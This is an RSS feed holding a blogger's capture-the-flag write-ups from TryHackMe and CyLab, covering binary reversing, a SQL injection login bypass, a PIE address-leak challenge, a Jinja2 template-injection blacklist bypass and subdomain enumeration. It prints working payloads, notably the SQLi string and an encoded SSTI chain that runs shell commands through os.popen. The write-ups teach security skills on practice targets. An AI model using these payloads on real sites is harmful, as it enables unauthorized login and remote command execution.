<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SiapaHeker on Medium]]></title>
        <description><![CDATA[Stories by SiapaHeker on Medium]]></description>
        <link>https://medium.com/@siapaheker?source=rss-cdf10c641546------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*J4iw8hJX3iF24AbpPdK0rQ.png</url>
            <title>Stories by SiapaHeker on Medium</title>
            <link>https://medium.com/@siapaheker?source=rss-cdf10c641546------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:23:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@siapaheker/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Basic Malware RE | TryHackMe | Writeup]]></title>
            <link>https://siapaheker.medium.com/basic-malware-re-tryhackme-writeup-56828a37eb85?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/56828a37eb85</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Wed, 25 Nov 2026 01:37:49 GMT</pubDate>
            <atom:updated>2026-11-25T01:37:49.737Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><p>This room aims towards helping everyone learn about the basics of “Malware Reverse Engineering”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*ma94gGAC_e9nbOYoOXtX9w.png" /><figcaption>challenge overview</figcaption></figure><h3>Challenge 1</h3><p>First, we are given a zip file. I extracted it using <strong>7z x &lt;filename&gt;</strong> with the password provided in Task 1, which is <strong>MalwareTech</strong>. Inside, there is a file named <strong>strings1.exe_</strong>, so I started with a basic analysis using the <strong>strings</strong> command.</p><p><strong>strings strings1.exe_</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2OSIu0Mmh1b7Kfac4P4fpQ.png" /><figcaption>strings output</figcaption></figure><p>The output shows a huge list of <strong>FLAG{}</strong> strings, making it hard to tell which one is real. To get a clearer picture of what the binary actually uses, I opened it in IDA for further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*3rf6TBO1yHTT0fIyCPAMOQ.png" /><figcaption>ida start function</figcaption></figure><p>Inside the <strong>start()</strong> function, we can see that the program hashes the value stored in the variable <strong>off_432294</strong> using <strong>md5_hash()</strong> and displays it in a message box. I checked the contents of <strong>off_432294</strong> in the <strong>.data</strong> section, and it points directly to the real flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*Je5jAaPie68_2xq9BVoxeg.png" /><figcaption>flag stored in variable</figcaption></figure><p>And there we go, we got the first flag!</p><h3>Challenge 2</h3><p>Similar to the first challenge, we are given a zip file. I extracted it with <strong>7z</strong> using the provided password and ran <strong>strings</strong> on <strong>strings2.exe_</strong> for basic analysis.</p><p><strong>strings strings2.exe_</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GapufC8aTUsY-zvgeLcDcw.png" /><figcaption>strings output</figcaption></figure><p>Unlike Challenge 1, there are no <strong>FLAG{}</strong> strings showing up in the output this time. So, I decided to open the binary directly in IDA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*4LEpLnin0-lcI_WIr4uXWw.png" /><figcaption>flag in start function</figcaption></figure><p>I checked the <strong>start()</strong> function, and yep — the flag is right there in plain sight, being copied into <strong>v0</strong> with <strong>qmemcpy()</strong>!</p><h3>Challenge 3</h3><p>Once again, I extracted the zip file with <strong>7z</strong> using the given password and ran <strong>strings</strong> on <strong>strings3.exe_</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JQ6J-qg4AiyvpQOwNE9MfQ.png" /><figcaption>strings output</figcaption></figure><p>Just like Challenge 2, there is no visible flag in the <strong>strings</strong> output. Let’s open it in IDA for deeper analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*2uqJEGNoBLDqCb_XBVJLCw.png" /><figcaption>start function</figcaption></figure><p>This one is a bit different from Challenge 2. There is no hardcoded flag directly inside <strong>start()</strong>. Instead, the program calls <strong>LoadStringA()</strong> with the parameter <strong>0x110</strong>, which converts to <strong>uID = 272</strong> in decimal. This means the flag is stored inside the binary’s resources.</p><p>Since my IDA setup doesn’t have a resource subview, I opened the binary in Ghidra to inspect the resource with ID 272.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*Che8gyYoZRHu-CT5X0Y9wA.png" /><figcaption>ghidra rsrc ID 272</figcaption></figure><p>I searched for <strong>Rsrc String ID 272</strong>, and there we go, we got the flag!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56828a37eb85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Classic Passwd | TryHackMe | Writeup]]></title>
            <link>https://siapaheker.medium.com/classic-passwd-tryhackme-writeup-d6211f2f505e?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6211f2f505e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 04:58:44 GMT</pubDate>
            <atom:updated>2026-11-17T04:58:44.452Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><p><strong>Description:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*PPpMjgE0zND5soT4ybgE5w.png" /><figcaption>challenge overview</figcaption></figure><p>Practice your skills in reversing and get the flag bypassing the login.</p><p>First, I downloaded the provided binary and checked its file type using the <strong>file</strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pGmxeNPuuXANSb8dfjh82A.png" /><figcaption>file output</figcaption></figure><p>The output shows that this is a 64-bit ELF executable for x86–64 Linux. It is dynamically linked and not stripped, which means the function and symbol names are still available for analysis.</p><p>Next, I checked the binary’s security protections using <strong>checksec</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*RNlOczZs_Nsc8Aot70WuLg.png" /><figcaption>checksec output</figcaption></figure><p>The output shows Partial RELRO, no stack canary, NX enabled, and PIE enabled. Since there is no stack canary, a stack-based buffer overflow might be possible. However, I wanted to understand the program’s logic first before trying any exploitation.</p><p>Then, I used the <strong>strings</strong> command to look for interesting strings inside the binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*a6zLT07t38hBsWE3Y-1_pw.png" /><figcaption>strings output</figcaption></figure><p>There are several interesting strings, including <strong>Made by 4non</strong>, a GitHub URL, and two unusual strings: <strong>AGB6js5dH</strong> and <strong>9dkGf</strong>.</p><p>I also noticed some messages such as <strong>Insert your username:</strong>, <strong>Welcome</strong>, and <strong>Authentication Error</strong>. These messages suggest that the program has a simple authentication mechanism.</p><p>At this point, I decided to run the binary locally to see how it behaves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*lRtwQnF9n8JdL6JpkKknjg.png" /><figcaption>file testing</figcaption></figure><p>The program asks for a username. When I entered a random string like <strong>aaaa</strong>, it returned <strong>Authentication Error</strong>. This suggests that the program checks our input against a specific value. To understand how the authentication works, I opened the binary in IDA for further analysis.</p><p>The first thing I noticed in the <strong>main</strong> function was that it calls two functions: <strong>vuln()</strong> and <strong>gfl()</strong>. The function named <strong>vuln()</strong> immediately caught my attention, so I decided to investigate it first. Inside <strong>vuln()</strong>, we can see several local variables and string operations. The most interesting part is the following code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*oci6yrDod2BRrHGrmpamyg.png" /><figcaption>ida</figcaption></figure><p>Here, the program stores <strong>AGB6js5d9dkG7</strong> inside the variable <strong>s2</strong>. It then reads our input, copies it into <strong>dest</strong>, and compares both strings using <strong>strcmp()</strong>. If the strings do not match, the program displays <strong>Authentication Error</strong> and exits. Otherwise, it prints <strong>Welcome</strong>.</p><p>This means we don’t actually need to exploit the buffer overflow or bypass any complicated security protection. We just need to find the correct password. Interestingly, the password was not immediately visible as a complete string in the <strong>strings</strong> output. However, after inspecting the <strong>strcpy()</strong> instruction in IDA, we can clearly see the full value stored in <strong>s2</strong>.</p><p>Now that we have found the password, let’s try using it as our username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*4VyOQ-QUl5lkH17BOTjq9A.png" /><figcaption>flag output</figcaption></figure><p>And there we go! The authentication is successful, and the program reveals the flag!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6211f2f505e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Irish-Name-Repo 1 | CyLab | Writeup]]></title>
            <link>https://siapaheker.medium.com/irish-name-repo-1-cylab-writeup-25a796ba9214?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/25a796ba9214</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 14:54:07 GMT</pubDate>
            <atom:updated>2026-11-12T14:54:07.037Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*05P5yLGZXb-LfcXrQetpDg.png" /><figcaption>challenge overview</figcaption></figure><p>Hints:</p><ul><li>There doesn’t seem to be many ways to interact with this. I wonder if the users are kept in a database?</li><li>Try to think about how the website verifies your login.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Zq66qqcPplDYhU1QHN3uw.png" /><figcaption>web challenge landing page</figcaption></figure><p>First, i opened the website. There’s not much here, just a list of faces with Irish-sounding names. I started exploring the page and found a hamburger menu containing a “Support” and an “Admin Login” option. The admin login immediately caught my eye.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GF0lAVXb7jN_ffjI-iw0Jw.png" /><figcaption>web challenge hamburger menu</figcaption></figure><p>I tried logging in with <strong>admin</strong> / <strong>123</strong>, but it returned <strong>Login failed</strong>. so i decided to inspect the request in Burp Suite. Interestingly, the login form sends an extra hidden field called <strong>debug</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*tZAv0KKpYeDbvls5QhRIfQ.png" /><figcaption>burp suite request</figcaption></figure><p>Since there’s a <strong>debug</strong> parameter, i tried flipping it to 1 to see if the server would reveal more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dmT5WHjfQJ1euWby0JMKJg.png" /><figcaption>burp suite request and response</figcaption></figure><p>With <strong>debug=1</strong>, the server leaks the raw SQL query being executed, confirming that the username and password are inserted directly into the query without any sanitization. This means the login is vulnerable to <strong>SQL Injection</strong>.</p><p>To bypass the login, i used a classic SQLi payload: <strong>‘ OR 1 = 1 — </strong>. The idea is to close the string early with <strong>‘</strong>, then add a condition (<strong>OR 1 = 1</strong>) that is always true, and comment out the rest of the query with <strong>—</strong> so the password check is ignored.</p><pre>&#39; OR 1 = 1 --</pre><p>With the <strong>- -</strong> comment, everything after it (including the password check) is ignored by the SQL engine, and <strong>OR 1 = 1 </strong>makes the WHERE clause always true, so the query returns a valid user and logs us in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*3WPoEtxqydWJW1GbN8uc4Q.png" /><figcaption>request body edit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHqosDL7oH5XnUHYuNIl0w.png" /><figcaption>burp suite request and response flag</figcaption></figure><p>and there we go, we got the flag!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25a796ba9214" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PIE TIME | CyLab | Writeup]]></title>
            <link>https://siapaheker.medium.com/pie-time-cylab-writeup-b43d39550d06?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/b43d39550d06</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 14:16:43 GMT</pubDate>
            <atom:updated>2026-11-05T14:17:58.910Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><p>Can you try to get the flag? Beware we have PIE! Connect to the program with netcat:</p><pre>nc xebec.cylabacademy.net &lt;PORT&gt;</pre><p>The program’s source code and the binary are provided.</p><p>Hints:</p><ul><li>Can you figure out what changed between the address you found locally and in the server output?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*b_cyq4ySR2mslGlT5i6P1g.png" /><figcaption>challenge overview</figcaption></figure><p>First, i downloaded the given binary and checked the file type using the <strong>file </strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpWXq6_AqjsRfUFsnqj6GA.png" /><figcaption>file output</figcaption></figure><p>The binary is a 64-bit PIE executable and it is not stripped, so the function names are still visible. Next, i checked the protections using <strong>checksec</strong>.</p><pre>checksec --file=vuln</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ytxiMztsmDp85MfyNlOH7Q.png" /><figcaption>checksec output</figcaption></figure><p>The output shows Full RELRO, stack canary, NX, and PIE are all enabled. Since PIE is enabled, the base address of the binary is randomized every time it runs, so we cannot simply hardcode a function address.</p><p>Then i ran the binary locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*b3xZY6R4qg1PmUPG4s9vrA.png" /><figcaption>run test</figcaption></figure><p>The program prints the address of main, then asks for an address to jump to. When i entered a random address (0x12345), it crashed with a segfault. This tells us the program really jumps to whatever address we give it.</p><p>To understand it better, i opened the binary in pwndbg and listed the functions.</p><pre>pwndbg&gt; info function</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*wMux7GRgO7zlTsEO7QOcVQ.png" /><figcaption>info function output</figcaption></figure><p>There is an interesting function called <strong>win</strong>. Here are the offsets that matter: <strong>win 0x12aa</strong> and <strong>main 0x134c</strong></p><p>Then i disassembled main.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*nMsr3rPiUMmXrZ2yLn6qtQ.png" /></figure><p>The relevant part of the code:</p><ol><li><strong>prinf </strong>prints the address of main (this is our leak)</li><li><strong>scanf</strong> reads our input into a variable</li><li><strong>call rax</strong> executes the address we entered</li></ol><p>So there is no buffer overflow here. We only need to provide the correct address of <strong>win</strong>. A quick look at <strong>win </strong>shows it opens a file and prints its content, which is exactly what we want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*Hw3dncNB-UysP4p6AspTYg.png" /><figcaption>disassemble win output</figcaption></figure><p>PIE only randomizes the base address, the distance between functions inside the binary stays the same. Because the program leaks the address of main, we can calculate <strong>win </strong>from it. First, calculate the difference between the two functions:</p><pre>p/x &amp;main - &amp;win</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*OttaGPgffpat1brXpuwqZw.png" /><figcaption>offset calculation</figcaption></figure><p>Now connect to the server and get the leaked address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*0kV2d0qh8J9Ke9tUNvsTJw.png" /></figure><p>Then subtract the offset from the leaked address:</p><pre>p/x 0x62306d04834c - 0xa2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*8fziOpOS8wErr60aUexSPg.png" /></figure><p>Finally, send the calculated address as the input. Note that the address changes on every new connection, so the calculation must be done in the same session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*K6IbgkBjo5ZrsoZdBJUZsA.png" /><figcaption>flag output</figcaption></figure><p>and there we goo, we got the flag!!</p><pre>academy{REDACTED}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b43d39550d06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSTI2 | CyLab | Writeup]]></title>
            <link>https://siapaheker.medium.com/ssti2-cylab-writeup-6f5e22271682?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f5e22271682</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 12:17:57 GMT</pubDate>
            <atom:updated>2026-11-05T14:17:29.060Z</atom:updated>
            <content:encoded><![CDATA[<p>Challenge Overview</p><figure><img alt="challenge overview" src="https://cdn-images-1.medium.com/max/664/1*qwmP8cMrFgMEA93G6KD0DA.png" /><figcaption>challenge overview</figcaption></figure><p>Hints:</p><ul><li>Server Side Template Injection</li><li>Why is blacklisting characters a bad idea to sanitize input?</li></ul><p>First, the website landing page looks as shown in the image above, featuring an input field:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*H5ijafXzt7Vz69ubUC1v1g.png" /><figcaption>website landing page</figcaption></figure><p>Based on the provided clue pointing to <strong>Server-Side Template Injection (SSTI)</strong>, we test the input field using <strong>{{7*7}}</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*RlVUx2PFxIIz8ui8abcxHg.png" /><figcaption>ssti test output</figcaption></figure><p>The page returns <strong>49</strong>, confirming that the website is indeed vulnerable to SSTI. Next, we attempt directory listing using the following payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*a0tg9sphewCJRGiLMPGM3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VcRvbejFH5tXtQvUAhKZuw.png" /><figcaption>ssti blacklist output</figcaption></figure><p>However, the output returns <strong>“Stop trying to break me &gt;:(“</strong>. This brings us to the second clue: <strong>blacklisting</strong>. Since the application relies solely on a character blacklist for defense, we can bypass it by combining hex-encoded strings with Jinja2 filters via the pipe operator (|). <em>The pipe operator </em>|<em> passes the value on the left as the first argument to the filter function on the right, allowing us to chain method calls dynamically without restricted characters</em></p><pre>{{request<br>|attr(&#39;application&#39;)<br>|attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)<br>|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fbuiltins\x5f\x5f&#39;)<br>|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fimport\x5f\x5f&#39;)(&#39;os&#39;)<br>|attr(&#39;popen&#39;)(&#39;ls&#39;)<br>|attr(&#39;read&#39;)()}}</pre><p>With this bypass payload, the blacklist controls are completely rendered ineffective.</p><p>The response successfully yields the server’s directory listing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o4zTv0uBLtQuyjTApYVQew.png" /><figcaption>directory listing output</figcaption></figure><p>Now that we know the flag file name, we can adapt the payload to read its content by replacing ls with cat flag.</p><p>Payload:</p><pre>{{request<br>|attr(&#39;application&#39;)<br>|attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)<br>|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fbuiltins\x5f\x5f&#39;)<br>|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fimport\x5f\x5f&#39;)(&#39;os&#39;)<br>|attr(&#39;popen&#39;)(&#39;cat flag&#39;)<br>|attr(&#39;read&#39;)()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNW7_QaGBud82VLXa_yh7g.png" /><figcaption>flag output</figcaption></figure><p>and there we go, we got the flag!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f5e22271682" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Compiled | TryHackme | Writeup]]></title>
            <link>https://siapaheker.medium.com/compiled-tryhackme-writeup-49a0ab7b1efe?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/49a0ab7b1efe</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 15:19:56 GMT</pubDate>
            <atom:updated>2026-07-16T15:19:56.335Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Challenge Overview</strong></p><p>Strings can only help you so far.</p><p>Download the task file and get started. The binary can also be found in the AttackBox inside the /root/Rooms/Compiled/ directory.</p><p><strong>Note:</strong> The binary will not execute if using the AttackBox. However, you can still solve the challenge.</p><p>Answer the questions below</p><p>What is the password?</p><p>First, i downloaded the given file, then ran it in terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*Lxg1r_K3bE01labzNrX0tA.png" /><figcaption>Run test</figcaption></figure><p>This file asks for a password. Then I used the <strong>strings </strong>command to find several interesting strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/173/1*5L9sjU2zmmVozKLCSsWQrg.png" /><figcaption>Strings output</figcaption></figure><p>The output contained that following strings, These strings looked suspicious, so I opened the binary in <strong>IDA</strong> to inspect the decompiled code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*tAo1ROSYamuFa7KOQg1NMA.png" /><figcaption>Ida decompiled code</figcaption></figure><p>The relevant part of the code is shown below:</p><pre>__isoc99_scanf(&quot;DoYouEven%sCTF&quot;, s1);<br><br>if ((strcmp(s1, &quot;__dso_handle&quot;) &lt; 0 ||<br>     strcmp(s1, &quot;__dso_handle&quot;) &gt; 0) &amp;&amp;<br>    !strcmp(s1, &quot;_init&quot;))<br>{<br>    printf(&quot;Correct!&quot;);<br>}</pre><p>From the decompiled code, the program compares the input stored in <strong>s1 </strong>with two strings, <strong>__dso_handle </strong>and <strong>_init</strong>.</p><pre>strcmp(s1, &quot;__dso_handle&quot;) &lt; 0 ||<br>strcmp(s1, &quot;__dso_handle&quot;) &gt; 0</pre><p>That first condition is equivalent to checking that s1 is <strong>not</strong> equal to __dso_handle.</p><p>and the second condition is only true when <strong>s1</strong> is exactly equal to <strong>_init</strong>.</p><pre>!strcmp(s1, &quot;_init&quot;)</pre><p>Therefore, the only value that satisfies the condition is _init. Then the password is <strong>DoYouEven_init</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*8tgr9wi05caLZ4-swO4EyA.png" /><figcaption>Password input</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49a0ab7b1efe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TakeOver | TryHackMe | Writeup]]></title>
            <link>https://siapaheker.medium.com/takeover-tryhackme-writeup-b547326910e0?source=rss-cdf10c641546------2</link>
            <guid isPermaLink="false">https://medium.com/p/b547326910e0</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SiapaHeker]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 14:08:21 GMT</pubDate>
            <atom:updated>2026-07-14T14:08:21.479Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Challenge Overview</strong></h3><p>This challenge revolves around subdomain enumeration.</p><p>Hello there,</p><p>I am the CEO and one of the co-founders of futurevera.thm. In Futurevera, we believe that the future is in space. We do a lot of space research and write blogs about it. We used to help students with space questions, but we are rebuilding our support.</p><p>Recently blackhat hackers approached us saying they could takeover and are asking us for a big ransom. Please help us to find what they can takeover.</p><p>Our website is located at <a href="https://futurevera.thm/">https://futurevera.thm(opens in new tab)</a></p><p>Hint: Don’t forget to add the 10.48.152.105 in /etc/hosts for futurevera.thm ; )</p><p><strong>Recon</strong></p><p>The challenge description mentions that the target website is available at <a href="https://futurevera.thm/"><strong>https://futurevera.thm</strong></a> and reminds us to add the provided IP address to our /etc/hosts file before accessing the website.</p><p>After configuring the hosts file, I started by performing an <strong>Nmap </strong>scan to identify the exposed services.</p><pre>nmap &lt;YOUR TARGET IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*edV4qU9meex-cFruPOnmtw.png" /><figcaption>Nmap output</figcaption></figure><p>The scan revealed three open ports: SSH (22), HTTP (80), and HTTPS (443). Since both web services are available and the challenge description hints at web enumeration, the next step is to investigate the website further.</p><p><strong>Enumeration</strong></p><p>According to the challenge title and description, the objective revolves around discovering hidden subdomains. Therefore, I started by performing virtual host enumeration using <strong>ffuf</strong>.</p><pre>ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \<br>-u https://&lt;YOUR TARGET IP&gt;/ \<br>-H &quot;Host: FUZZ.futurevera.thm&quot; -mc 200,300,3001</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*x7fQE8_-NqfgYFXg0LFxpQ.png" /><figcaption>ffuf raw</figcaption></figure><p>The result showed almost every entry in the wordlist returned a <strong>200 OK</strong> response, this result looked suspicious because it is highly unlikely that hundreds of subdomains actually exist.</p><p>To verify this behavior, I compared the response of one of the discovered subdomains with a completely random, non existent subdomain using <strong>curl</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*--BjI327xhc7SyuDCBMKIQ.png" /><figcaption>curl response size 4605</figcaption></figure><p>Both requests returned exactly the same response size 4605</p><p>To eliminate these false positives, I filtered out responses with a size of <strong>4605 bytes</strong> using the -fs (filter size) option.</p><pre>ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \<br>-u https://&lt;YOUR TARGET IP&gt;/ \<br>-H &quot;Host: FUZZ.futurevera.thm&quot; -mc 200,300,3001 \<br>-fs 4605</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*Le-8ZdiuKmxi7Hh83qAG0Q.png" /><figcaption>ffuf filter output</figcaption></figure><p><em>After discovering the </em><strong><em>blog</em></strong><em> and </em><strong><em>support</em></strong><em> subdomains, I began manually inspecting both websites. I reviewed the page source, checked the available functionality, and monitored the network traffic using the browser’s developer tools. However, neither the source code nor the HTTP requests revealed anything useful on the </em><strong><em>blog</em></strong><em> subdomain.</em></p><p><em>I then turned my attention to the </em><strong><em>support</em></strong><em> subdomain. Similar to the blog, there was nothing immediately suspicious in the page content or network traffic. As a next step, I examined the website’s SSL certificate and noticed an additional hostname listed in the </em><strong><em>Subject Alternative Name (SAN)</em></strong><em> field.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*yiLMhFrKYJRnGilSqAbGPQ.png" /><figcaption>ssl certificate</figcaption></figure><p>I added this newly discovered hostname to my /etc/hosts file and visited it in the browser. The website looked normal, and after I inspected the website by reviewing the page source, exploring the available functionality, and analyzing the HTTP requests using the browser’s developer tools. However, no interesting information or hidden functionality was identified.</p><p>To investigate further, I also tested the host using curl. Interestingly, requesting the host over <strong>HTTPS</strong> did not reveal anything unusual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EgNNzRRYBQ5WtpQOishabw.png" /><figcaption>curl https output</figcaption></figure><p>However, when I sent the request <strong>without specifying HTTPS</strong>, the server responded differently and exposed the challenge flag.</p><pre>curl -i secrethelpdesk934752.support.futurevera.thm</pre><p><strong>Flag Captured</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTXFa0oYy2dF_BpuGppPkA.png" /><figcaption>curl output flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b547326910e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>